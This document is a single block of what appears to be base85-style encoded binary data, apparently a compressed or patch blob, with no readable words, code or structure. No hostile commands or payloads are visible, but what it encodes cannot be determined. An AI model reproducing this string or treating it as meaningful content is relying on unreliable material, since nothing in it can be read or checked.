zmSYWxCIuEjJ-#C;p!e;F%fA~~D=NZMMOdT6+#k&oA@0?;@OlRws5Z)kDVwQ9~5 zJGAg=^WN&>(8SfdgYb0TI$_Ie*=zZ3&Dm-0^Sm%9WHloI@*D@+$DUd-J{V9{IQ|cE zsv@MgYySUJiYKVc%Vm(?jd*Cclqg{n8&b`PVXS{T<|`B`+b{5zW(*N|5&W{s+3BzmDpcJJ`>ynw&B$2^@ z;=nA_WMCfPKyqnJI`~ZQi*pZJG5sp{*=)$nJcw22VdO0BMwD!x;yfd^uDM_I$}Ius z#$dQ_ougO}K-)D027?PP-D4{GGAp3|a$BY=EUdZo%I9GwHeCb<3DI`~2z8d9mLUc8 z%~)l)csob#m`X(8bvOFCIH$eBUe^V=0QHxEqZI}(1I?aIskYNAbrr!^AgP*dgGR7C^}YOiaB^bhZh|KYT|mRC;rpgRlxq+ zlifv-FPk50TCRMOvzRT_z8=rxR8wJo?Y`*tV?J9MtuMx7Pba>42nRB!Y|OwlbjEz= zfqYL{!~2VJ4q15pJN$r>Td}ri^MS^}QHqj>I;SF%m7A%BSTlo>6HXmxL%>HC{WXMbq^GN~PN0%b@Eu|qdnXSo2GHzl>aoDB2GCSswuW0Z$8 zNQy?!1<`4Bst{Usb)Z8DhH>?AlWJB)E@dvG)0M)U8OIXeeqaXjGlR*=K=S!kq7J0)^6_S~U@aQR0qQK7rA<7r_dGj{3XVdYEi zZI{cBJPw+~ZIGLkja$tg=M4|k=X3(;GMcjZc&q1|lrDxjmhp@3eOqqhJmoC|6vv&G zDkkW7eHFNBppbyW5a@3|S00V&hlNgDF(4icZ|c_xPZ@L`Z~SS6R@cZparz~+Vg3+s zHUFRn=PTcrE6OimuD)G4Otufc3afkk(Hl6PS4!^2NYSW7mlr=zxY;il070D*WPMGr ziXsQY{}LfNxxb?lDm?zkk!07+P`$zi9c7!NpK=Fy^>!&!K&gyX*ZdbPLG&wFn%gem zf|sGHsMy9<&W8bGN38Sp2TRxgjTHGzuLw{xbQM4#erc#Ps|ZtSbeydC5CKP4BJQ(~ z{>OUX_8O!;Ws{dY6hEMk7%x#d_u7;|Ckyl}T7jvqO>(FAri^m( z-jZ~@YI!12^^M98fr%OZ#XOe2({36jz7K�?>6h>29iAmWo(ADyc?<(=(jaK{}^5 zaQia4$}HT=kNn5vxb}9lFP=Wt$PZ!u14WDMtE&(*#XtviZ`$Hqyl!`n{eMN!%U3h^ zzOAvzyU%=#C!Pt&3ACwy3$4{YtL_HRXgtQ|$edNT#VG9m(#jJpOfzab!icb_1}2mrS=N>HBYRzH{m~m)tueN-pTlCQtuM8>Xm0EJ=WH^BIEv zw0w9I3pU4iT9Y5^*lIY%{9{NI$d6jh5|m@=o-qeh%6D6^6KcB4_-!<9dVfvuAOMU* z2=BkXlQs1AOO}oJ$XcW6g3>a30bKT%v2Ot`Tg$!h4 z68PX_ZsQB=@V348z_-$2qEZ^F{`76Q;I)<3^{*`fYP13Lw_VXauQQyiBNpRtztENR zM7ll+yJKR0Hy>=&Ek;;Ns3f#OR)6GN!VXS{WPK#Y_AJMZsJNJ58r}M(&+fc!A6M5c zuU2j}V*+UX-b@@_+3ryIqyk2R)|JYVJ+u+^E9AS1e_yDNJ*~`WA=O`RIh>8CHtFH~ zOVTlTMI>#k`{WxaZTM^%;+Q6xKU(M9pUDd$L-__rgvAb1c!}*bki$E*(for({d^o{ zcB%>9K1M(6l;kMI(2bvIXQ1Ljb6={gaU%(k8n&PcrcI;E|Gom!=m7|f7fcIuw~?I> zFYlk8M(tn2ElyM5qrM#zGLgz2^I3`#K&Nm#_Aw*5IWNTYoysc0iZ3fAb{BDMY464O zE7~!?M8&t~kjN~`a?b0V!}rLlm@-NQHcalHgjSpJgE3c@Eb!5XTcY-aRz)t+KOm)5 zX|(A>K8xxRA6Tv}3ORd(zD*l%KW%9;Vby~txr%X@Dqf1tL@B{qCrG@Bd_ixmQo#(` zEfn;pRDe+K2W^4!z<1k$nqY2yg(wyGA5QxSDJjC9gB!GRft=xbysiT-#H!fWE*Ya~ zt_5~s!(w2zGbYW@8tHrxKlX$jJbu5?B1?b1GRE}Avr>qi>iJ75>807p1GI1PZg=X@ z%g3`>|Kf+38P0PwGF{a_XnVxwI~ij=IZ-3ij7-eBdgN43JOT#a*g3-lIx8y zI{2q<%>V^(qN#~;+7K(rM|9aJi^_6DK!k2RN_EG^MoF+VuG3(xz8#c7*8xzWkC=E@ z{+uhvTKVU@!MDusZ#N$0IO!cN%s`ets;voGzsn>nQ3b#!?LS(;7Dcu;? zMcPF^>55n;AE40mOP+PiP14>B!!Q*lVmk|2)N1Qt+1ML$&LVfDiCzq5F3S_UG9w3bKHARy9@#M@N%PHQ@7@p^nQbYf3|@jZR`=d#zm>xtz&SBd zYQai35yE09$Af}oz(4cZU!19*v%oV zcq*-2kD&jkeNyomWI?!0VEgza12?F-fE+7#Zqdjl*g)gMi<$Fq&tJ2=H`B|blfWpd zX|(K!&@E5pi?l?QerO=J!>!`eFHQPEybR0)N6J29;P&io@f=yT>Ci08GI? z$hWnZ?d}N0Da6RdmTmPV9g>A5un;XAdk&BJfOyvzWi#mzC9QOaPKW&(o)3pgQ^QQL z;*u?C?*HQ9xM|19)DzfU>HgBn@es}6je%F<+L#0k6C>NA_kGQ#2iFB2$J;8iq1WOf z`hQaCQX{eiP-gY#FKnlSA8eEjY#GokH<3Si4}d>aIRpkSu}yq(5D=IeQ=>M^#lI}J zzGrrsk#JjuVl5!qy*7$M29yiO`*>$M#it!+_;%+d$e~m&hB=4=ZI?bVwn+koiovf} z0Hb)tis+2^9h!&DcnB4APL?Zb}OJN=)tREfjrW2gts0t#_QP3aruy@CR* zsI%1+ERvCI6|yw*9b~Yb-DxQ9Ve-HvJw#>i__Do+K5>hBCy9r8M@4yL&pB2*24!VY zPFP*F{PS0$vuemz#^4d{=Kvc)Oji8&t}U|e594w()t)NHOEWm&VlyqJV@(0h^>7qf zYjeDrzD|}!d;zSoq zPQaZ&GjEJDIFxh(mWG7Qsu;2kUkX5#dq59(o+OGR7R;5$HFW1o5&kA}54`pWodHm$ z(6T^ZjY|4COQehszLp&xWzsL}0oz*CmT~3-c@;!+FdRY-+Zpy$I6@^1!E>GI$D?e+ z=a8w8QTCbna020W$Z^RTyR$Y9jYt%7=mnC`dhOOJz5mwiav7HRW!&XOtP~5fwV_em zuYgE_zp>wLUw_)JcE2W&=aNtXr}Z++e7D01CN*002av zWdI-IA`p-3evHU%2dqD!UK^nW^j1JSwBvU&fr1^TVvW?-cXSp|O;iTl%E@epO1rsS ze&s6}?Aa)$3#Ro?M*>j)C#Ns#H8oVD{+c8#owd%a3rOkMCOJsnoTGxpn~~;q`wy%}w>=Sgye#>K7jD zT^YjV;`B1V^1LYRc@B0Ipu!tOsadqEzneQ3YFa)@@~@1iA{6a37C&B91#_#r|U zF4_{is1rC&%fHXJ&sCzdXq?7A4fXoNr^4Nli9kaL$Yjwi*!3S*9Gl0-O~PZ2(|7&h zZi}<>YaD6XK|(|)@B1u7(Jv^KK~8KcvL-k& z+h6cZ@RxApr6_w<54xeBB1}|{I5dp8B(D2c!UtgTE|E6$l>(3{#F2-Y6eqn|lkg(7 z!0G-Ffl1*1ilT)xY`&#TBcuha+pZro%em*Kl$73~ksTAmadp@AXAcX6v(-m-i-Ggl z#iN(;Y}d_y3A{*4a*t^5V#{BIY&Up&IIL7^&ld4Te93DIou8l63vgW0-Abcmry<=&l{q zGtdj2n|Y;WiJPe`R|;PB-M{19vkhe^i>V>AjG`whEe3Nj9#F>oBe8Epwjl{HtH>_NCp89gE6MC@o1l}lPYulO}*1CMYWU;Y{e|p&3f-8+-`(!YQI~1N1>7iHt&BvPQ2FJ-LizHiWca zaz>Y^=hwZMi}xTwz*N9l(NGgX={zPM(?~P{y^c%bDkGB*m&M zq4$^Hy@v5(^{^96T<0dcI%w{ZL+<2sc{`t;naA@x-#Wj;5Ti%pJ`8 z6ohZv#zy!!Y%mUeKtHZA7rKjc zbm}N5dhhOE#m^-57BJdy(ZDEx-F)Jea;%>=Z+VeYCbX7rGV@e!5%#6DP8%K!9oo)U zgln^(e(0dlfxb<7Yu9oRgV3j0+LnIRA%E`dp!*c->bx>Pq_r-7k?L2q%~$RcgK-KP zL9h9rz;S$B)@Hh>ZAb(askn@t#1`gO7FQ%fh}Nw~cp|1D7e8tTxw)TDQmu)tiw7OY zK?)PId3S&p+<7f1M{$iYzO2LrJj^iGS5@JJ z|Gw0EFFD>PIpD)E?Wh0%0{{R600W!2}pMbpGrcAN+R00RI4cc=4^mABUG1e&gkjg3Qsp9x!_ zhy$5?$;=6pNmFk{{jWi?u44S+U6(O&)bv{({j=DE0~8@_=;h0yXWCdrF--HM7)20T zeKI`$7Vee?ia)yWIcBa8_ZI91B-Fb4ukg{lv#P+JZp#tU-xj1VErHpx&)=mR@-{DP zYq*5qc^P#rT**W^J)+fwDSRkf85NZ!E>=;J4A)m?l?nV= zLaj-6GU&>lA#$8RJHW)lZwr8;w4htA9{t?Cs?Uv3h?r4gi%ll*pb?Y&rhuEUls!`? z5fxRyi)x0n6~t36J84F+>wf>5G&9mXVk{XJ}ZJBGY>IY9z$g5_EcP<&fj&fxeJS zvpN(8XZyUuYUz(baKK)Pab zL_9@t-u@rsH!j3|*f;H#tp)xZwaX*ElS zgN%+J*mH30^l+io*q1|b%UXiXnQVPLq1gC#?|&8iteoi&3Q!2+6_4ROYiRBEEtGb@ zXmtdIeUbtl97>Jl(h+QQ+$6*AUz~iZ`tx-R4@A`&8i&LYi1NweoZW>im*tF!8`WPt zIkR>M*@!}l@SKdp$K}bADe2d*p6PU*e@e=Uu)#3$#{t(YQiPCF3?68O7%i#J*Lh}j zs2dCn_Zu5PoNHDT2|rv^0@L2`XVoyy4S3r^)=ypUAeY>X9or zfN`ky(r%<>H_2NhpLJ}Nf9wFk*XLcYd++4sM<(;DJ7EeQj9dbyQeI^=cQs7$xdjbQ*k*dJjv_$TNcqIQCWVK=}V~Zs=DIaABRuwM)^OY-ZPzgg! zyi_an{8Ie&%ng?YC;^jgG;b&_#%~oI*VZhfG4#1aY`c(9VdLCK_E(1T)}vyeZ4#0 zw4atyUsjk2B<8j6t#yVjnd4%@7{31e$SkLmHk1C0=WJvo3l*2R7V4>kY1TOfYX{BzBofTPbrkmn{Vl+GAwSLe z%DQ8CbG}MR4KhwP|CsG$7*~Z0W$tqriOYs5)f+b*K!U_2ugbBAA@udjt~$YyIKi4- zUKS+}rm#KG(-&d-PNSr--u4=A7p|UUFKA3tpCsY{)#HKIvyDcz-A_M|B^52x!e&(u zobKC*jc+>>cDIP0dAm?pLX~Ds*^APTwP4k|yVTa0j)F@Niyng@@h&IbxorVstoqxd z8(Cn#LS=<%eqFs@)Cls3ZJJ+$S4t_o3v0PjW!d$X~9#a-s{@y!7(b z?)F{9Bqwoa3U)nT&QMY4Fn4sp!LhTxn3-e1*dy6I+%ZJgX20OksmIE=%XX{Dsxb*w z{{RxOme|MAZ1CiE3e}X-;7POemNN=iq(jyW`==L4-9QH#&M4oq>zp@0005=$tr&Ah zA@(QG000!$Ha%wTrjB)c%L+IYqA`;n+&7EFnvpY*kDU^gV0$a8ts(X_U&YgxlCU}+ z>%Wp+U#*W`aO9?saC6mtz}9d6Uw?X{PO%rG9^T-#ut+%zTba@fRCe}vc!KQ&G<4U) zMz9nTylQ_vhu88d+%@OEmg~AFwdQDgN%FBI}k`u5p{FP47HUV1U=hYv1b67ar6re7P~P9nY~ z8Hzk9Mt`vSHrx5{XE`DnZq&z{tX!aXb)ykuG$YGbbKSgl`h4qfO4l8_#A)JOr1_|2 zy}Rz0CO%mBJPSdq%Jym;amh_rrefr#3fi5pZNDX82??qBW5_(@>FJm688!Lu(5Y(- z^iF1}hp}yxWq+GlLp0b2Te!+9@pEdvZi~=T3l65{y2&#-$Dm0QT^ysw`4HNC=i6cn zOc$qx_)hSk;lkle{U<%J#OJkF+j`SmvlaqH*C`sYU}uQ4Lm)HUwYZ{|jf+0CYk^ zXYcg2KF5e9iD)AmtbtZ^XL|z!GrD49T+VS-l$> zH7#$1QeABxP*^Xuc0?`R|{)Gg}FM)}8Xl ziuu>om(pf5psP*(en~G?NpfI7a$zD&9eVZr;SJeT5(?;dwF|Kjn<{ z=^6cVIiCSmP0IzyyvKTqWHr2ks*#Xf7_lnvX>3%|^9}e_(L!DddRCs0I!Qo+k&Q_iBdYZPvqG|}Qu-44bPxHFt#syeaDMaaYK_Le z(K5=vKlP=Fi*b7GB5(!(>4oyV3XoclGQUpB3z@9_5riKe3(e=UCu!b1-tWZMrbm8b zCJWG7o|>by$FR>y_~s}juD8J1!5Cj+i63xqu1Nzpu+i~707)F-BSlF3>JlW$)Y)0> zX2;20927Izi(0U%{O?+kOsaKCWhQvH9j$k7fzTu^sxpp?6TRL$J?Uxsa9^8>h*QUZ z?)nKEdAMyF-7`EL=PGS2d*Ukcg`y=baQi9p6aEn-2OBPV##YZnSjj`{^B9BGJOA}z z?XY)Wd0NQ-)OyCsMTT=%veKwd)2uA`JqF+`3kIf!U=W@w74 zq0kQqv4IE?XFt{)kp=@~{SXQ&zxj_k^INSrU$kEcHCSuhQ-!ueyIYd$@G>gw%))$E z90#wv+w%AO>kK~P0K|x=IF|j z94l&lHE<7qell>`C6`SWk%DN3j39x?(=stXIoZ{c+WSI2mOjsF;cJ}va46Ks7j>{) zzwyXznZoXB~zuTU1kmM!OUia#0 z_LG>@*}ElLcK5zZoNnKNrld6p4oglCi(Al^M%rpgVq%x-tH$6b0dRqV(YFQO2?Kxj zB@BytjP}B#=>Oc9K?te+6`l#>L+%ABJC#{yyrqJu+zYm;vQkbDB8x;E$!TNlz*h0D zDx{d@yc5@08v$a{wgY8u*OCEFJ6yjLg!NLcOLQ-|M zQ_(zE*|-O<8q}XTLI+M&Mv|gfAQa{I`^KC2%0|9@FUc$@k-V$A@^<>5Xk-1!7bQ7G z-I3K@aI2pt=oOo`#wPUTV=KN_#GlP%csX4euDsVKcMQ;!2N!a(0}g|spW<>SCdnz zujM}RWq@$avicUn{3NXo!87sJG*(6+9i|&psu~@C_Gt?D;W_YK%;*FcGFWn(*6fM< z{$MACMkx+VdBQ4y7JpB4tsU&7@Y)dLjkEOcqiS2ovHqeTexDIfo5TO)|Lxx)gZncduotO3DIIT!Xd}%rK~XtufN?P*N6(@XCsJt?G^^xd z6zKL*>V@I_V|xe|+Wn30?OCg>Zi)$I?a|zjc;j}clrYaG)S}OZPQL+;-|JWNzRE?{ zP@d&XrHvdtEl_5XT)cRELX71eQJCH7GrAsT!5*u9ZiqXYB|q{*|8)Rz9LP-EB!+K; zb7E4ycFOMv7#2-=82`D!t+HF;4lVrvM1WM$4rXd$~7WFUlKLkk^wZ#8s=yw!0 zbMy!UCxSm3%ER{q?=U%S7(buH{m>6l9RPpnH&~L$9vo}|#fuOnT9!1O^i|ELefZGI zruuKsG_HxjX2`sFV&&lpQa2P0h25ZM0gJuOexh8q2%{~(9yk6Jj=`?CGcODMYDc$> zYKS*?=2JSES}fgfB{}y{^%TVmi}A^q`iLY8c;F@7 zq))#J>0K8fj}Dey8yAak@S8c|#md;9*N^FpeUtS5CESxK{DQ znWD|(obzb}+J1@h(3Kwl41ngIak_}y1wvk)IHYowQy;o!UiBC8Lvq~R(xzZ zU0O10#C>eua=JBAf7Q-?wwOmw1k7+WdgT?WlIjZ> zIMi6JC0p~=C=Fo7D=2G(p6h}&48GHmo07cuQ!RUa)jQgr_wvk#-E6f?Hc&Q3DLjD( zd_@T&bQ;3CAKjr>TkKYIlmv7iH-$|>OnWy|fLcaNhK zI;m>Wx0`qqpQ`VIU9E^t2v?Y_=4AyunJn^{-=|qNx;cZY&o}>B zN&Fq(Pf)v_r%g1d0D@3lPFMFg$$*`tN7?5ShMC18T5gc2Eo)USOa=DL{UJTUL0Umc z4KeSujh}q$MOe7sAZtE^tQQtJL#&)t&BgMnR?b_FXD9=amwyu)Sk^Y+em_NF$RBD| zLr8YWO90p92bs%5b4T?o&2w)V+0Rrb^-LR2O6uUR&(mq@+f$WG3I>kYT_9PsqJ5uR zY{Z;(L7;owK}NEEkh~A65fR{WOdj0*(E1yhv&E7D1+7&2eARrZ!T+k**X~8MEYNMx zFvLPtv1<3CpF}^a?^^uL>mwXidnaZBZ~4*#eG!q=>`(^pIcb(g?E4NVnyGBJ_yX(o z&pN4!?Ny6-WDWoNbaGH@GGV@53>XvqBeCvdI^7oV(KIOetDkjd%=Z*C!V#;5bB^?@ zz+#u5PoQa?V8bBc<|z3Unu;(bVpc2MXH3zWJ|!7jGRF?_QcCl+Vt#U(HM(1rLAiuf zWm_?i|MAp~@=t&i#=rz+a}1XRUq7qYJ$)%797oC6q6jnVjd}|kHe^I|@cgaikr$t* zu!VD66%3mqA7tFO*2A@34flAsM?x^S-)F%Z13v4qK|!jbG4eSYN*|Mn#B!Yk9qqX* zKR7z{S^3~~x8{B_(?jU#iKMqF0noLl1c^fLtY4+%_Pll)1j5nVlfCKFyOq`TK>gT) zZ)-n%=0-agml=C`6MN@x>&udqF2)>NUtIaC%;32Q#b8hG^Xa0F?r~sRBVDeGOyn!% zJS~-2H)zS31CJqXuHw}-mZxPP;(muM1kDkEOj}T8I=@LvxVem^O?dP7tZOG!G^DIx zZA+?!6>Y3Z8qAM-FA#_${xAv)_W$rG8RFFKu>JjWdFWjT(>&Cr;rHRqm5J}8!$D1N z2gVm^1v6sFNpZ^3P2r@}?JwWTjY>;49l`{?m_xwTPTaxDIWW}UN=M?!_>^o^j08()tHGr49H zq?w@FVfBq#W|)YeE~o}&*uev%LE{*nQN{Idq=pfe!4(Q#Y}}b(S1_tj@!5bJk7UR{ z<`;0Q@}E>tO!j`5Be8uGKT7$*ElTtr z8orZL>K{E&dwb$G9=$YF?sgp^%u_x|i(3hizWEI7Y#%Uwz0xYu88IIOu*&MnXJo zi&Ggo-7xGFE8J)2%RX(Xn;D@o$xG^nX{Vj5dGOwNkdcu^p-Y?LF}UVn+PH2s<&v_Y zIPJiuHUAt9`YTy>8BVTnE6gcPy z^a@HYpLOi|@@%gntDpWi9cB%!n5jwY@U7bv^p!!3UepmNu(2bi+`sTcK0XG@-}R{; zP{%bD5j=FPuY~4yk3taJ^iI>b zS!bltypdm{0dQuwpizJEJnNK*Y*3{=t-Ng6P4}Fk~N*a_B=G_Hi>|q5iAH&Z&A_+LpueCv;9dZK#XQX^9Tg!7d|g5A(n&8M_5Sz z5C&OClBoY7cH)<^P{Gq(%&Kh^v3(7b;$dJ*s zmK65I*-zR^z!eLC0;F101SVG~g8Y@twz2P?tHXMv7e)P?r~Qaka~$e5N~JrKAPSyP zQ4Gwyyc}ByW%PH@o{rD+(rkfeSEw#Rw;hTP_4W}%X*Jb49&b}b^5kH6D7<5&N0hRn zylzR>3U6o`isCfs=BD%Nr#e_=LfY|a3V>%;?Drb4SNEfDmkd!|Z(8jZn5knwK(obb z$7_I^k+FX^`~3v`l;%CHUEs(2^!vU1K|IsyGalSq@RIEr!rqC=_Y>Qn;{Ak_AN-&F z?^~(eFW6>0!ENus&jPv%p8ZCAxa>Gesd>GWz$7IgSxDHS|5ZR9pTV7Guvxe2b7CJo z^Gr}wPD0(m1w*tX-EY--B(UqT3YpFeB+L_U&Ht+c&q<`0YmM0>^p!^&w6vLF4a{X7 zqgmu=1AaP6WmLg#{w&Fm`4Fs%aVk=WYTkcx#rG%2tCE&8kC8a`#xrQmbw+JvNz8+` z-UV(Gzve6xe+n$n8gk~2(jrn8DI3INpUw6iaKx6mo9$$wIa-p5_hN{Zg?=!VV46dh z*l6t?3)Z&L&IUl`n&?uE0-U4gA?T$~MUXPDh#z4q%|IE7ImY+=m$~-61(WL!kW02P zEn?I4VG#L=$LR`=YvZiJH3~#KIFsm=0xznD3s{-Hg> z!91akCw6p*5ks+B;*HkZ z)7W;91|k9{+PJ1w1HSoX~;Mgzv|3W2{+(+q94E@^6#O| z-rb|A$PWC9-H=c-O(ozu8=yt$Oj!ph*3bYVClGxjdl{amrwc+o5mA--0d=q5+s?Lf zEh$UAP|ds)%f^2N>>Px)cU)$dS&KecYEWf!doHeF9YUNokD!Zy16E<`EjnOp^g=D3 zZ>_fiONO8INwsA1X;kpO`a)eJT~;9}9Q$0p=W$4Kvw|A6O}JiRwoUamjN!yh)Deiy zSjK!WUU@x$Vjk`7?Xapxa3!Kjx^!vIqd38Y2>ACFpy*~Fj64AHmV29{bK+`ew{=lg z#|=I#*W<;rfC87f1cujl1w3i3&Z)X^B(tbiYeXz}`tNwPjo^x>U<(B?OpWX}3(y$l2IkBGFkm~__6Gj-OXx2k5)R{0Tj+ndv` z4u%}PT`Xt6B47XlSA6YBe0TAb-^M)FSih3&YC$%12vD?rq=a1*XAu}W3qZJK9C4-+ z>Z}6~3Fq#4@pN5m%q@Gd91)ldNvV(dr`(L2fB7c7YbP?ZI50V$Muk__77)|MMyo6& z4LKD!9>HM7Ku@b#abmAr`Bk}Gky{APK`)$JY{(DsC@oHC+~z|`KdG-zwPb6|Rw~Cg z+mS<0S8m5eeZ~5F-WjPL_+-3}n6~-*c6v2L@|>-*G0SIPHj6Zro0EdHZ_mz7Y@*=S zo8>4L1C{gv?m7LfWOlwOrw&?NQ>pq-ej!MbKTYG#FiL_v9^?#;Y{c1)EXyJA!oSxN z8sAc(idB+v6e@0KcEG7rf7#!ZtBYX9{I1a0=#!}WibCWvEIuc>EguLM@#=H;uHFwf zNm1zdTuGRevR}4V#`6ox@kXWnHJX4&pv!twEBxzT#M5|*9D+BB{6(FA4&oSLtkU4%Au0;h&+jQ?$RY?zoo zF!~N1ueY5?`kedLxKaHN<+JEf{ydyLkof9>uotJ9_^4{6sJ>SMD)<|`rh0`8jWsPS|N6) zU**?*c86>oZzYa?tT#Oufs(9Bi7B5cn2e250{#|}8aR;`C{m2j2}PhIovITe7>vDO z9pyIL+kN^J^7ft?y{pB6km^-+W~m=Wf&UlnkNbj2TK3w3x8*Zv{Zw1xPPp~;( z1N^kZXgL_L_%i9=@Nh!gnfTu!UiX;AjA0?r*aOv#?fHBD0-?eK)NN^LW*Q?@RHfpw zzu_1hp#P0b`XC^J81=6t0N`f5N~g7x@q%*u%pq*kjnp>_Lpnf9o0sS`yJg`9!vE0W znj7sxkW4~F-E4{SQ0K5~Ea|`Q%HNJ->$2(1+*v8y^>Yi@p5637?|HJsBC@ ztda0D>H8c@3uI>=@^5C;sGY!oHg=65 z%<5&);fnmvsW#$J-LL?abKtYI)v<*_W5pCOK*N)gZDo60U^6=J@6~@nv+%Nd)v6zR z8H;2I{yCzdx0)?FgQxbABycrfyS&;*@sZ322kEBOePjX~*y zq=@=?5dZHR3Lrx~kmiU)W12Dpo`0mGx?*?E^q3E6wAz^hU-waO2c3~a3iIhJ`MuYW z3BQ0hX*U^W(2RsX(i4|Xfn3uC@a!g`@fI8|{bT0o3$Y-+eKEuNi-ru*0KcXan>^uc zGU$G7hie~7^l9?yVoZfXoEg*aCe%}!VHK5<9REDajH{B}?_GLIP_Ngc&Xe{Icb?`M z{G5t5!IIy^D~KlKibohnz!uCmR}zzUnP^PU(fs<$Kr$J2IBJ&2rP#kdh#h*)=0l4O z)CIjx&54~d04PA$zc&Pnu9tP}3ihWrEx#9dk(_YNUYo^h*hh+bV0Ae?h1&<4_{r1^ z(wnxLbQ6hMXr4dsgk0SF79l;mtrGz}BJStM>$S1}NGCC-?dS2v-Tm_8I6+)`?$uLh=HlB-nGOuic;bCJp&)tE?a=Bwq^`V1`efU;8W|n8-{WmrUo7~ zksoXj*9ty&YqzZ{>;$jT1s>*9Rj(l1BTIJOphSAA%Td`02TGM^o zYj}HCnU0E9@s6F&iJVMFop4F50?w;&z!{7?@cQz-+Q8%M1UXUVWKYr`-KHSZHZ-kW zR8fz~R3d5Ab@C7YvhHSUSN>ZgvgDg1P+m7NxQDCMK_5LoUzqo7Xs`CdCtRgE^SJi1 zwqrYeYcP#3%LylARIYnlbtL{Z)xqf5iigPBi9m(s@Y;KpNcEv58T-4ZxAtUrYqK7$ z0HI!ShW7A`0o_jBp?T}d!F!}qhN9LpoU7c3Waz|j1>f}+wW;IgxwS9Q*gtwJi%;cZ zJI$jgv$Lg=)vn9IyH)#ZldrRW1;7E-`3hSIOSv?>>-Pv~xpBe;xnzd2=%0DyhDXo3 zf-9lTAXJ|k{{uxZWkd(&xOv-z6!<-sqLz2Cl-i)$4D8}EX`QeP_~4Cmmtx6#7LXL$ zL6%`Z*$HAv3T!U5U8et|Yp1&(Jx#$2n{}S=a|3pG@<~tc!A~K9Y355?h8xsHaMMVO z#U651F&i9_eiW*GkmEjc6!=rr9EovI z;=-&C4L4Yg`@?pfoVj4|cZEoJN z!t}EZvwz{ml8Xpv68Ys5fT3VN9F9BikWPYs1fi~rPg0pxFy;1c;aR})YH6W1>b5Kf z(2hZZmnQIMZLWhfl_>2jPrTT?94n+e$c7~_Sadd@Bo8t+iMpiw6&mNt^8jvY$sf3? zw)bgv*D@^H4#DUR4LGPkx8CiUd4crg4uR6Ped-aNe{$ZQI^%c8JB#3N5ou@6b2<|d z_-womDMe(q>H^XZ)&K)DY&B}11BavWa%C=lz=7|T@s-Cd8LOIyQXE1~1&jUE9VD6{ zO&H6sWEg7L^j4jOmL80@606HrLhE@g#Nc zz{oV%KL5GZG~mB;-1ZAE=#USrrNG$HF(t(<1)fc)0xi}NP6?$(*3gE`~xZ~W+A*oW4Keo;UqU8jx5u6vA>4xJ&%xMp4#CBjP)!0g`l*3 zec7FoqP7oviYtYYbwIU_?7iv9Rc6?*(%5quq)cv2K0as^DWmGP~9H2HN3Q)LFKo64oAN zj1~OxxY3@~(H)FTP5^ykc;4G%nVb^*lIeS8?Cw2n{0i&gDb0446)!O!vtZtohwKc^ zXm~HRX8PsYmLCf^icB7_p+J?^e|TnAtaS_bn!b+TpXWk$eoxC!ik}U`2;LiqTUpW- z>JB)3+p_%e+^CFH_8)f&LdV;#`8(-nx=hw#WWOuoF3RP0{}iz67TkM>M8d1Yfy;~n zevm(B*d};|0k-XoY<(cvkshlzmpzYd6sqtYJgC#PM$71J%Io2f8ud$j%oro%Cn7}(%#d}+>--l$Pe1} zXJc)KqF3TC)lpC-H@VUR?y$!rpZ+G{BstHFy-EbCAXaH#PcI*xo0^R@-uZa(1=1>^ z>aD>U56%3g-}Z=&ajT`nt(X0Y{?svUm4+id41-(>j)I{{h><8guBr^a0nlw%MqzdE zLUY3WVfagtr%kFU3fq{#(T|b$x477dc!2NuJf(bFY4U?%SlRPgn|`XM8{z zZ>TJ2JR`yLXl_&Cya&>`m=D(qf>U*Wg{=>8OZVNHpzZT&YLJIW5oBNcmsdSjo{mZZ zjfJ*xhqnYu$qC(tnAaVfAMyL_ZA}hJq%n*dlZSIe&%tQioF_vnmIl_J_N=G>$aMl+qK!?4lnYI~?=!ibAv?FckAm5j zf5}Ey$13rXLT59E5g8zWNgvc`x^=bbJOw9u0H(&@U5nFFphgg_%))O>UAe$xx7!Rh zuM^*R<*%4(8fU}eC1A0+x7g|2wXcMxhs4qW>fD)VQ7x^YYV@IMK&QZr!(lydj8{%^ z-(5 z_cgWRJ0XO=qD1Yt3L;Td-Y|M6-l#{<-lUR=^z(Kw=%tENfQe4hKtr(d?bP__#gL1~DFW2c34JNCVPnLhXI3L#ZbXkv~ni`gj8d9}V zDa;AjF?e~*TFQwnu}fm=kxC7=rEol>s=!$*fjT{2dmvTQ9}<;t;`-JW4TChorENDC zmPOJil^#<$OT0YGL+w@fS^e8ztRqOOMMeLUBl>utVjQb-oi%1468{nA`B>nHB|wB6 z^2RI+kc+fL`P{PRPNDpTI0Ri)%@fee@6iFd58Psz;c?l-_4Vm^kC0rSFT>iwGocDn z{SC)L&wmlWs&z#3`xuqs;SQI;{6i9`#6D126khCv9*GKji6=X#;z=U`zcZ7dLS=5T53kYFZ-P7GtTx#<-mWtk2lHu<;R%*JMK`R7AprbQ zA^WpCHTJ-Q6NBY1Ey;=AW>b%-c^}hTWMRNju{H2+$KLC~ z$~$*Hy(38-rx!8{ADp^stW~jo{&xnt()QMIx+aYb68ih$IOJ*d077A$h8(Q@(q?Ph z(E|BT(o|_M$Qixl!c8F*w8dGLso+Hj6s1cE(a4#X_@+g%dHG^oT^quej)ijJ?GaKS zt2owoZqBpOcv_vsV*{(nLWPL6^~i`=+BAXe`rV+3IQ5^zR$in13R4|`004~qiL5Gk zy&_HcLlv}A5#k9ct`q4^lI4n)wNx>+pz=qxRq2tU9xHviQD`RMAHzvdGpbt_Uh`iE z4dmi+P%(Pg22UW8LdRwvYikqDgCn3F3fLI@SBZzvyLc#Ah9bINS>ua=3=H523~MQs zTb0m&B0u|0;Bc2_K!1rrYI8>WdNA<7DqCFDbu3c|7I>|A?QhAGuMastzt|p}uE+MK zgldOm9wW;8VF=%cBfDpKpV&1$2G7|E+)r+Qi}n&wfAW9adhdKQ{f1-A7T))nK;bO6 zFVy{AXh@TkB@T8|0Fab{Wg}qU--Fivs^k#1m3}RqT#*(K`R|%yf}(LzVC^bIkDo*& zP9nJoX;;X^Dbf^9L6U|4^=|>1WetM&ziQNv-7Uipi${DQ5CfCfpEl-TdzvtKZ3h z71P#E(e0Jhq)^$<&>#$+2>SiXd6D~hfy-#Y{QOQIEfep;x>rTW8N;QQM#bXXJSNd3mzJo0dVvfm!Nbe2oe zcu~}n1@USHkOy9M@ZbR2#U<;*e}Hz8e-lGq5U;RU#K!k|?0BfsD|9^+Sqq$4!;tYi zdYroORLQ?{MMdhM)vSi^ZZJ!v>nZ_nlr^HJ=qC(HZLxxltX&dtmomojbtJys#_SQsjyU>2mG*cFt6H*pb=9tW8gz9^Hf63!1^;S;& z!UR6Veh-l;h-T46G_jg=G38R#Z 